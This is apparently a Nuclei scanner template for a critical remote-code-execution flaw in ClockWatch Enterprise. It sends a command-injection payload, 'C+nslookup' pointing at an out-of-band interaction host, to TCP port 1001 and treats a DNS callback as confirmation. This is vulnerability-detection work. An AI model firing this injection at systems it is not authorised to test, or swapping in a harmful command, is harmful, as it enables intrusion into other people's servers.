id: clockwatch-enterprise-rce

info:
  name: ClockWatch Enterprise - Remote Code Execution
  author: gy741
  severity: critical
  description: |
    ClockWatch Enterprise is susceptible to remote code execution.
  reference:
    - https://blog.grimm-co.com/2021/07/old-dog-same-tricks.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-77
  metadata:
    max-request: 1
  tags: clockwatch,rce,network,tcp

tcp:
  - inputs:
      - data: "C+nslookup {{interactsh-url}}"

    host:
      - "{{Hostname}}"
    port: 1001

    matchers-condition: and
    matchers:

      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        words:
          - "OK-C"
# digest: 4a0a00473045022100b5672ead15326de345fda5457c9c80dae2aef3a656fc4475441f31117f98acb70220450813d44bfa4093dcab22fb04b676c0832da80b7b0cdb74f973c9547be90cb2:922c64590222798bb761d5b6d8e72950